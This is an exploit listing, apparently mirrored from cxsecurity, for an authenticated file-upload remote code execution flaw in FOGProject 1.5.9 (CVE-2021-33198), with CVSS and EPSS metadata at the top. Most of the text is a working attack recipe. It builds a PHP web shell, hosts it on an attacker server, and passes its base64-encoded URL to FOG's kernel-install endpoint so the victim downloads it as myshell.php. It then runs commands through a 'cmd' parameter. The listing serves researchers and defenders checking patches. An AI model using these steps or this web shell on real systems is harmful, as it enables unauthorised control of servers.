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FOGProject 1.5.9 File Upload RCE (Authenticated)

CVE Category Price Severity
CVE-2021-33198 CWE-434 $5,000 Critical
Author Risk Exploitation Type Date
Sergiy Sinitcyn Critical Remote 2021-04-29
CPE
cpe:cpe:/a:fogproject:fogproject:1.5.9
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040159

Below is a copy:

FOGProject 1.5.9 File Upload RCE (Authenticated)
# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)
# Date: 2021-04-28
# Exploit Author: [email protected]
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit 
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
Example:
http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64

6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php 
and click on Install.

7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname

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